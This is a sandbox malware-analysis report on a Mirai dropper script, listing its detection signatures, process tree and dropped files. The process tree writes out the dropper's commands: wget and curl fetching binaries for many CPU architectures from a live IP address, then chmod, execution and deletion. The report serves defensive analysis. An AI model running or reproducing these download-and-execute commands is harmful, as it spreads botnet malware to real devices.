Analysis

  • max time kernel
    139s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260126-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/02/2026, 00:05

General

  • Target
    newreaxe.sh
  • Size 3KB
  • Sample260204-adedeaev4b
  • SHA256 b4b15ac50d03460b5cc4d2fe64c12bbffa068b1a583ecb4330198fc933a63578
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 6 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/newreaxe.sh
    /tmp/newreaxe.sh
    1⤵
    • Executes dropped EXE
    PID:1519
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:1520
    • /usr/bin/wget
      wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86
      2⤵
      • Writes file to tmp directory
      PID:1521
    • /usr/bin/curl
      curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86
      2⤵
      • Writes file to tmp directory
      PID:1526
    • /bin/chmod
      chmod +x busybox config-err-cFknnj m9x7k2v8b3.x86 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
      2⤵
      • File and Directory Permissions Modification
      PID:1527
    • /tmp/m9x7k2v8b3.x86
      ./m9x7k2v8b3.x86 kargar6
      2⤵
      • Modifies Watchdog functionality
      • Writes file to system bin folder
      • Reads runtime system information
      PID:1528
    • /bin/rm
      rm -rf m9x7k2v8b3.x86
      2⤵
        PID:1534
      • /usr/bin/wget
        wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1535
      • /usr/bin/curl
        curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1536
      • /bin/chmod
        chmod +x busybox config-err-cFknnj m9x7k2v8b3.mips netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
        2⤵
        • File and Directory Permissions Modification
        PID:1537
      • /tmp/m9x7k2v8b3.mips
        ./m9x7k2v8b3.mips kargar6
        2⤵
        • System Network Configuration Discovery
        PID:1538
      • /bin/rm
        rm -rf m9x7k2v8b3.mips
        2⤵
        • System Network Configuration Discovery
        PID:1540
      • /usr/bin/wget
        wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arc
        2⤵
        • Writes file to tmp directory
        PID:1541
      • /usr/bin/curl
        curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arc
        2⤵
        • Writes file to tmp directory
        PID:1542
      • /bin/chmod
        chmod +x busybox config-err-cFknnj m9x7k2v8b3.arc netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
        2⤵
        • File and Directory Permissions Modification
        PID:1543
      • /tmp/m9x7k2v8b3.arc
        ./m9x7k2v8b3.arc kargar6
        2⤵
          PID:1544
        • /bin/rm
          rm -rf m9x7k2v8b3.arc
          2⤵
            PID:1546
          • /usr/bin/wget
            wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.i686
            2⤵
            • Writes file to tmp directory
            PID:1547
          • /usr/bin/curl
            curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.i686
            2⤵
            • Writes file to tmp directory
            PID:1548
          • /bin/chmod
            chmod +x busybox config-err-cFknnj m9x7k2v8b3.i686 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
            2⤵
            • File and Directory Permissions Modification
            PID:1549
          • /tmp/m9x7k2v8b3.i686
            ./m9x7k2v8b3.i686 kargar6
            2⤵
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1550
          • /bin/rm
            rm -rf m9x7k2v8b3.i686
            2⤵
              PID:1556
            • /usr/bin/wget
              wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1557
            • /usr/bin/curl
              curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1558
            • /bin/chmod
              chmod +x busybox config-err-cFknnj m9x7k2v8b3.x86_64 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
              2⤵
              • File and Directory Permissions Modification
              PID:1559
            • /tmp/m9x7k2v8b3.x86_64
              ./m9x7k2v8b3.x86_64 kargar6
              2⤵
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1560
            • /bin/rm
              rm -rf m9x7k2v8b3.x86_64
              2⤵
                PID:1566
              • /usr/bin/wget
                wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1567
              • /usr/bin/curl
                curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1568
              • /bin/chmod
                chmod +x busybox config-err-cFknnj m9x7k2v8b3.mpsl netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                2⤵
                • File and Directory Permissions Modification
                PID:1569
              • /tmp/m9x7k2v8b3.mpsl
                ./m9x7k2v8b3.mpsl kargar6
                2⤵
                  PID:1570
                • /bin/rm
                  rm -rf m9x7k2v8b3.mpsl
                  2⤵
                    PID:1572
                  • /usr/bin/wget
                    wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:1573
                  • /usr/bin/curl
                    curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:1574
                  • /bin/chmod
                    chmod +x busybox config-err-cFknnj m9x7k2v8b3.arm netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1575
                  • /tmp/m9x7k2v8b3.arm
                    ./m9x7k2v8b3.arm kargar6
                    2⤵
                      PID:1576
                    • /bin/rm
                      rm -rf m9x7k2v8b3.arm
                      2⤵
                        PID:1578
                      • /usr/bin/wget
                        wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:1579
                      • /usr/bin/curl
                        curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:1580
                      • /bin/chmod
                        chmod +x busybox config-err-cFknnj m9x7k2v8b3.arm5 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1581
                      • /tmp/m9x7k2v8b3.arm5
                        ./m9x7k2v8b3.arm5 kargar6
                        2⤵
                          PID:1582
                        • /bin/rm
                          rm -rf m9x7k2v8b3.arm5
                          2⤵
                            PID:1584
                          • /usr/bin/wget
                            wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:1585
                          • /usr/bin/curl
                            curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:1586
                          • /bin/chmod
                            chmod +x busybox config-err-cFknnj m9x7k2v8b3.arm6 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1587
                          • /tmp/m9x7k2v8b3.arm6
                            ./m9x7k2v8b3.arm6 kargar6
                            2⤵
                              PID:1588
                            • /bin/rm
                              rm -rf m9x7k2v8b3.arm6
                              2⤵
                                PID:1590
                              • /usr/bin/wget
                                wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1591
                              • /usr/bin/curl
                                curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1592
                              • /bin/chmod
                                chmod +x busybox config-err-cFknnj m9x7k2v8b3.arm7 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1593
                              • /tmp/m9x7k2v8b3.arm7
                                ./m9x7k2v8b3.arm7 kargar6
                                2⤵
                                  PID:1594
                                • /bin/rm
                                  rm -rf m9x7k2v8b3.arm7
                                  2⤵
                                    PID:1596
                                  • /usr/bin/wget
                                    wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1597
                                  • /usr/bin/curl
                                    curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1598
                                  • /bin/chmod
                                    chmod +x busybox config-err-cFknnj m9x7k2v8b3.ppc netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1599
                                  • /tmp/m9x7k2v8b3.ppc
                                    ./m9x7k2v8b3.ppc kargar6
                                    2⤵
                                      PID:1600
                                    • /bin/rm
                                      rm -rf m9x7k2v8b3.ppc
                                      2⤵
                                        PID:1602
                                      • /usr/bin/wget
                                        wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.spc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1603
                                      • /usr/bin/curl
                                        curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.spc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1604
                                      • /bin/chmod
                                        chmod +x busybox config-err-cFknnj m9x7k2v8b3.spc netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1605
                                      • /tmp/m9x7k2v8b3.spc
                                        ./m9x7k2v8b3.spc kargar6
                                        2⤵
                                          PID:1606
                                        • /bin/rm
                                          rm -rf m9x7k2v8b3.spc
                                          2⤵
                                            PID:1608
                                          • /usr/bin/wget
                                            wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.m68k
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1609
                                          • /usr/bin/curl
                                            curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.m68k
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1610
                                          • /bin/chmod
                                            chmod +x busybox config-err-cFknnj m9x7k2v8b3.m68k netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1611
                                          • /tmp/m9x7k2v8b3.m68k
                                            ./m9x7k2v8b3.m68k kargar6
                                            2⤵
                                              PID:1612
                                            • /bin/rm
                                              rm -rf m9x7k2v8b3.m68k
                                              2⤵
                                                PID:1614
                                              • /usr/bin/wget
                                                wget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1615
                                              • /usr/bin/curl
                                                curl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1616
                                              • /bin/chmod
                                                chmod +x busybox config-err-cFknnj m9x7k2v8b3.sh4 netplan_jf4gwx1y newreaxe.sh snap-private-tmp ssh-9wjiMXyYyuhB systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-bolt.service-Ivd8uy systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-colord.service-mDgUND systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-ModemManager.service-WgTqZV systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-resolved.service-MSegM9 systemd-private-47c5a3c389b34cdcb64e94c2387be8cf-systemd-timedated.service-6fF5V0
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1617
                                              • /tmp/m9x7k2v8b3.sh4
                                                ./m9x7k2v8b3.sh4 kargar6
                                                2⤵
                                                  PID:1618
                                                • /bin/rm
                                                  rm -rf m9x7k2v8b3.sh4
                                                  2⤵
                                                    PID:1620

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Replay Monitor

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                                                      Downloads

                                                      busybox

                                                      • Path /tmp/busybox
                                                      • Size 2.0MB
                                                      • SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                      m9x7k2v8b3.x86

                                                      • Path /tmp/m9x7k2v8b3.x86
                                                      • Size 39KB
                                                      • SHA256 a032e7a7053822b6d37f8dc47c093ee0ba09ca5b95ad8413f8511fb0cf9c8abd
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH